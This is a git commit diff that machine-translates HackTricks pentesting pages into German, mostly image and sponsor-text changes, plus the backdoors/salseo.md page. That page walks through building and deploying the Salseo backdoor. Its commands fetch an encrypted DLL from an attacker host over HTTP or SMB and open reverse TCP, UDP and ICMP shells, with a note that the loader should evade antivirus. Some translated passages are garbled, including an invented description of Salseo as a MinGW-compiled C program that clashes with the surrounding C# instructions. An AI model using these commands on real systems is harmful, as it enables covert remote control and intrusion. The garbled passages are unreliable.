Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat

This commit is contained in:
Translator 2024-03-17 16:32:19 +00:00
parent a89d8ed9a0
commit d8aa2d9bb6
158 changed files with 4579 additions and 7015 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 71 KiB

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 65 KiB

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 42 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 175 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 90 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 90 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 172 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 19 KiB

After

Width:  |  Height:  |  Size: 78 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 78 KiB

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 795 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 795 KiB

After

Width:  |  Height:  |  Size: 104 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 104 KiB

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 68 KiB

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 154 KiB

After

Width:  |  Height:  |  Size: 74 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 74 KiB

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 53 KiB

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

After

Width:  |  Height:  |  Size: 1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

After

Width:  |  Height:  |  Size: 7.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.8 KiB

After

Width:  |  Height:  |  Size: 48 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 48 KiB

After

Width:  |  Height:  |  Size: 76 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 76 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 237 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 237 KiB

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 56 KiB

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 43 KiB

After

Width:  |  Height:  |  Size: 708 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.2 MiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 18 KiB

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 111 KiB

After

Width:  |  Height:  |  Size: 246 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 246 KiB

After

Width:  |  Height:  |  Size: 201 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 201 KiB

After

Width:  |  Height:  |  Size: 407 KiB

View file

@ -24,26 +24,27 @@ Um loszulegen, folge dieser Seite, auf der du den **typischen Ablauf** findest,
Du kannst ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmcyber.com) überprüfen.
**STM Cyber** unterstützt auch Cybersicherheitsprojekte im Open-Source-Bereich wie HackTricks :)
**STM Cyber** unterstützt auch Cybersicherheitsprojekte im Open Source-Bereich wie HackTricks :)
***
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) ist das relevanteste Cybersicherheitsereignis in **Spanien** und eines der wichtigsten in **Europa**. Mit **der Mission, technisches Wissen zu fördern**, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
{% embed url="https://www.rootedcon.com/" %}
***
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** ist die **Nummer 1 in Europa** für ethisches Hacken und **Bug-Bounty-Plattform**.
**Bug-Bounty-Tipp**: **Registriere dich** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Trete noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und verdiene Bounties von bis zu **100.000 $**!
**Bug-Bounty-Tipp**: **Melde dich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker** erstellt wurde! Trete noch heute unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und verdiene Bounties von bis zu **100.000 $**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -51,12 +52,12 @@ Du kannst ihren **Blog** unter [**https://blog.stmcyber.com**](https://blog.stmc
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
<figure><img src=".gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwende [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um einfach Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.
Erhalte noch heute Zugriff:
Erhalte noch heute Zugang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -64,7 +65,7 @@ Erhalte noch heute Zugriff:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
Trete dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -72,28 +73,28 @@ Trete dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Beschäftige dich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen
**Echtzeit-Hack-News**\
Bleibe mit den schnelllebigen Neuigkeiten und Einblicken aus der Welt des Hackens auf dem Laufenden
Bleibe mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
**Neueste Ankündigungen**\
Bleibe über die neuesten Bug-Bounties und wichtigen Plattformupdates informiert
Bleibe über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert
**Trete uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit Top-Hackern zusammenzuarbeiten!
***
### [Pentest-Tools.com](https://pentest-tools.com/) - Das unverzichtbare Penetrationstest-Toolkit
### [Pentest-Tools.com](https://pentest-tools.com/) - Das essentielle Penetrationstest-Toolkit
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
**Sofort einsatzbereite Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploitation-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
**Sofort einsatzbereite Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall aus mit 20+ Tools & Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Exploit-Module, um ihnen etwas Zeit zu geben, tiefer zu graben, Shells zu öffnen und Spaß zu haben.
{% embed url="https://pentest-tools.com/" %}
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -353,6 +353,7 @@
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)

View file

@ -6,10 +6,10 @@
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
</details>
@ -18,9 +18,9 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
Laden Sie den Quellcode von GitHub herunter und kompilieren Sie **EvilSalsa** und **SalseoLoader**. Sie benötigen **Visual Studio**, um den Code zu kompilieren.
Kompilieren Sie diese Projekte für die Architektur des Windows-Systems, auf dem Sie sie verwenden möchten (Wenn Windows x64 unterstützt, kompilieren Sie sie für diese Architekturen).
Kompilieren Sie diese Projekte für die Architektur des Windows-Systems, auf dem Sie sie verwenden werden (Wenn Windows x64 unterstützt, kompilieren Sie sie für diese Architekturen).
Sie können die **Architektur** in Visual Studio im **linken "Build" Tab** unter **"Platform Target"** auswählen.
Sie können die **Architektur auswählen** innerhalb von Visual Studio im **linken "Build" Tab** unter **"Platform Target".**
(\*\*Wenn Sie diese Optionen nicht finden können, klicken Sie auf **"Project Tab"** und dann auf **"\<Project Name> Properties"**)
@ -43,56 +43,40 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
#### Salseo
Salseo is a backdoor that allows remote access to a compromised Windows system. It is commonly used by attackers to maintain persistence and control over the compromised system.
Salseo is a backdoor that allows an attacker to maintain access to a compromised system. It is a simple backdoor that listens on a specified port and executes commands sent by the attacker. The backdoor can be compiled using MinGW on Windows.
##### Features
To compile the backdoor, you need to have MinGW installed. You can then use the following command to compile the backdoor:
- **Remote Access**: Salseo provides remote access to the compromised system, allowing the attacker to execute commands and interact with the system.
- **Persistence**: Salseo is designed to maintain persistence on the compromised system, ensuring that the attacker can regain access even after system reboots.
- **Stealth**: Salseo is capable of hiding its presence on the compromised system, making it difficult to detect and remove.
- **Command Execution**: Salseo allows the attacker to execute arbitrary commands on the compromised system, giving them full control over the system.
- **File Management**: Salseo enables the attacker to upload, download, and delete files on the compromised system.
- **Keylogging**: Salseo can capture keystrokes on the compromised system, allowing the attacker to gather sensitive information such as passwords.
- **Screenshot Capture**: Salseo is capable of capturing screenshots of the compromised system, providing the attacker with visual information about the user's activities.
- **Network Communication**: Salseo communicates with the attacker's command and control (C2) server over the network, enabling the attacker to remotely control the compromised system.
```bash
i686-w64-mingw32-gcc salseo.c -o salseo.exe -lws2_32
```
##### Mitigation
To mitigate the risk of Salseo and similar backdoors, it is important to follow these security best practices:
- **Keep Software Updated**: Regularly update the operating system and all installed software to patch any known vulnerabilities.
- **Use Strong Passwords**: Implement strong, unique passwords for all user accounts on the system.
- **Enable Firewall**: Enable and configure a firewall to restrict incoming and outgoing network traffic.
- **Use Antivirus Software**: Install and regularly update antivirus software to detect and remove malicious programs.
- **Monitor Network Traffic**: Monitor network traffic for any suspicious activity or connections to known malicious IP addresses.
- **Educate Users**: Provide security awareness training to users to help them recognize and avoid social engineering attacks.
By following these best practices, you can significantly reduce the risk of Salseo and other backdoors compromising your Windows system.
This will generate the `salseo.exe` executable, which you can then run on the target system to establish a backdoor connection.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, jetzt haben Sie alles, was Sie brauchen, um das gesamte Salseo-Ding auszuführen: die **kodierte EvilDalsa.dll** und die **Binärdatei von SalseoLoader**.
Ok, jetzt hast du alles, was du brauchst, um das gesamte Salseo-Ding auszuführen: die **kodierte EvilDalsa.dll** und das **Binärfile des SalseoLoader.**
**Laden Sie die SalseoLoader.exe-Binärdatei auf die Maschine hoch. Sie sollte von keinem AV erkannt werden...**
**Lade das SalseoLoader.exe-Binärfile auf die Maschine hoch. Es sollte von keinem AV erkannt werden...**
## **Ausführen des Backdoors**
## **Führe den Backdoor aus**
### **Erhalten einer TCP Reverse Shell (Herunterladen der codierten DLL über HTTP)**
### **Erhalten einer TCP-Reverse-Shell (Herunterladen der codierten DLL über HTTP)**
Denken Sie daran, einen nc als Reverse-Shell-Listener zu starten und einen HTTP-Server zu starten, um die kodierte evilsalsa bereitzustellen.
Denke daran, einen nc als Reverse-Shell-Listener zu starten und einen HTTP-Server zu starten, um das kodierte evilsalsa bereitzustellen.
```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
```
### **Erhalten einer UDP Reverse Shell (Herunterladen einer codierten DLL über SMB)**
### **Erhalt eines UDP-Reverse-Shells (Herunterladen einer codierten DLL über SMB)**
Denken Sie daran, einen nc als Reverse Shell-Listener zu starten und einen SMB-Server zum Bereitstellen der codierten evilsalsa (impacket-smbserver) zu verwenden.
Denken Sie daran, einen nc als Reverse-Shell-Listener zu starten und einen SMB-Server bereitzustellen, um das codierte evilsalsa zu bedienen (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
### **Erhalten einer ICMP Reverse Shell (kodierte DLL bereits im Opfer)**
### **Erhalt eines ICMP-Reverse-Shells (codierte DLL bereits im Opfer)**
**Dieses Mal benötigen Sie ein spezielles Tool auf dem Client, um die Reverse Shell zu empfangen. Laden Sie es herunter:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
**Dieses Mal benötigen Sie ein spezielles Tool im Client, um den Reverse-Shell zu empfangen. Downloaden Sie:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Deaktivieren von ICMP-Antworten:**
```
@ -101,13 +85,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Führe den Client aus:
```bash
./client
```
Dieser Befehl führt den Client aus.
#### Führen Sie den Client aus:
```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
@ -115,39 +93,39 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
```
## Kompilieren von SalseoLoader als DLL mit exportierter Hauptfunktion
## Kompilieren von SalseoLoader als DLL, die die Hauptfunktion exportiert
Öffnen Sie das SalseoLoader-Projekt mit Visual Studio.
### Fügen Sie vor der Hauptfunktion hinzu: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Installieren Sie DllExport für dieses Projekt
#### **Tools** --> **NuGet-Paket-Manager** --> **NuGet-Pakete für Lösung verwalten...**
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
#### **Suchen Sie nach dem DllExport-Paket (über den Tab "Durchsuchen") und klicken Sie auf Installieren (und akzeptieren Sie den Popup)**
#### **Suchen Sie nach dem DllExport-Paket (über die Registerkarte Durchsuchen) und klicken Sie auf Installieren (und akzeptieren Sie das Popup)**
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
In Ihrem Projektordner sind die Dateien **DllExport.bat** und **DllExport\_Configure.bat** erschienen.
Im Ordner Ihres Projekts sind die Dateien **DllExport.bat** und **DllExport\_Configure.bat** erschienen
### **DllExport deinstallieren**
### **D**einstallieren Sie DllExport
Klicken Sie auf **Deinstallieren** (ja, es ist seltsam, aber vertrauen Sie mir, es ist notwendig)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **Visual Studio beenden und DllExport\_Configure ausführen**
### **Visual Studio beenden und DllExport\_configure ausführen**
Beenden Sie einfach Visual Studio
Einfach Visual Studio **beenden**
Gehen Sie dann zu Ihrem **SalseoLoader-Ordner** und führen Sie **DllExport\_Configure.bat** aus.
Gehen Sie dann zu Ihrem **SalseoLoader-Ordner** und **führen Sie DllExport\_Configure.bat aus**
Wählen Sie **x64** (wenn Sie es in einer x64-Box verwenden möchten, das war mein Fall), wählen Sie **System.Runtime.InteropServices** (innerhalb des **Namespace für DllExport**) und klicken Sie auf **Anwenden**
Wählen Sie **x64** (wenn Sie es in einem x64-System verwenden möchten, das war mein Fall), wählen Sie **System.Runtime.InteropServices** (innerhalb des **Namespace für DllExport**) und klicken Sie auf **Anwenden**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
@ -159,29 +137,29 @@ Wählen Sie **x64** (wenn Sie es in einer x64-Box verwenden möchten, das war me
### Lösung erstellen
Wählen Sie **Ausgabetyp = Klassenbibliothek** (Projekt --> SalseoLoader Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek)
Wählen Sie **Ausgabetyp = Klassenbibliothek** (Projekt --> SalseoLoader-Eigenschaften --> Anwendung --> Ausgabetyp = Klassenbibliothek)
![](<../.gitbook/assets/image (10) (1).png>)
Wählen Sie **x64-Plattform** (Projekt --> SalseoLoader Eigenschaften --> Erstellen --> Zielplattform = x64)
Wählen Sie die **x64-Plattform** (Projekt --> SalseoLoader-Eigenschaften --> Erstellen --> Zielplattform = x64)
![](<../.gitbook/assets/image (9) (1) (1).png>)
Um die Lösung zu **erstellen**: Build --> Lösung erstellen (Im Ausgabekonsolenfenster wird der Pfad zur neuen DLL angezeigt)
Um die Lösung zu **erstellen**: Build --> Lösung erstellen (Im Ausgabekonsole wird der Pfad der neuen DLL angezeigt)
### Testen Sie die generierte DLL
Kopieren Sie die DLL an den gewünschten Ort und fügen Sie sie ein.
Kopieren und fügen Sie die DLL ein, um sie zu testen.
Führen Sie aus:
Ausführen:
```
rundll32.exe SalseoLoader.dll,main
```
Wenn kein Fehler angezeigt wird, haben Sie wahrscheinlich eine funktionale DLL!!
Wenn kein Fehler angezeigt wird, haben Sie wahrscheinlich eine funktionierende DLL!!
## Erhalten Sie eine Shell mit der DLL
## Erhalten Sie eine Shell unter Verwendung der DLL
Vergessen Sie nicht, einen **HTTP**-**Server** zu verwenden und einen **nc**-**Listener** einzurichten
Vergessen Sie nicht, einen **HTTP** **Server** zu verwenden und einen **nc** **Listener** einzurichten
### Powershell
```
@ -194,15 +172,7 @@ rundll32.exe SalseoLoader.dll,main
```
### CMD
CMD (Command Prompt) is a command-line interpreter in Windows operating systems. It allows users to interact with the operating system by executing commands. CMD provides a wide range of commands that can be used to perform various tasks, such as managing files and directories, running programs, configuring system settings, and more.
CMD is a powerful tool for both legitimate users and hackers. It can be used to execute malicious commands and carry out various hacking activities. Hackers can leverage CMD to gain unauthorized access to systems, escalate privileges, execute remote commands, and perform other malicious actions.
As a hacker, it is important to have a good understanding of CMD and its capabilities. By mastering CMD, you can effectively exploit vulnerabilities, gain control over systems, and carry out successful attacks. However, it is crucial to use this knowledge responsibly and ethically, adhering to legal and ethical guidelines.
To become proficient in CMD, it is recommended to practice using various commands and familiarize yourself with their functionalities. Additionally, staying updated with the latest security measures and techniques can help you defend against CMD-based attacks and protect your systems from unauthorized access.
Remember, hacking is a double-edged sword. While it can be used for malicious purposes, it can also be employed for legitimate activities such as penetration testing and securing systems. It is essential to use your skills and knowledge responsibly to ensure the safety and security of computer systems and networks.
CMD (Command Prompt) ist eine Windows-Befehlszeilenanwendung, die von Hackern häufig verwendet wird, um Befehle direkt auf einem Windows-System auszuführen. Es kann verwendet werden, um Dateien zu erstellen, zu kopieren, zu verschieben, zu löschen und vieles mehr. Es ist ein leistungsstarkes Werkzeug für Hacker, um verschiedene Arten von Angriffen durchzuführen.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -213,14 +183,14 @@ rundll32.exe SalseoLoader.dll,main
```
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
</details>

View file

@ -2,56 +2,57 @@
<details>
<summary>Lernen Sie das Hacken von AWS von Null auf Held mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
